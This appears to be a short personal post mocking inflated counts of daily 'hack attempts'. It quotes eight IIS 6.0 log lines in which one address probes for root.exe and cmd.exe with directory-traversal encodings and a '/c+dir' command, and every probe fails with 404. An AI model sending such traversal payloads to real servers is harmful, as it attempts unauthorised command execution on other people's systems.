IBM just had one of those "the hackers are out there" tv ads.
I remember reading somewhere that some government agency reported some astronomical number of hack attempts per day.
I bet you a steak dinner they include these:
#Software: Microsoft Internet Information Services 6.0
GET /scripts/root.exe /c+dir 80 - 66.65.167.224 - 404 0 64
GET /MSADC/root.exe /c+dir 80 - 66.65.167.224 - 404 0 64
GET /c/winnt/system32/cmd.exe /c+dir 80 - 66.65.167.224 - 404 0 64
GET /d/winnt/system32/cmd.exe /c+dir 80 - 66.65.167.224 - 404 0 64
GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 80 - 66.65.167.224 - 404 0 64
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 80 - 66.65.167.224 - 404 0 64
GET /scripts/winnt/system32/cmd.exe /c+dir 80 - 66.65.167.224 - 404 0 64
GET /scripts/..À¯../winnt/system32/cmd.exe /c+dir 80 - 66.65.167.224 - 404 0 64
OMG I just had eight hack attempts! Seriously this does not count as a hack.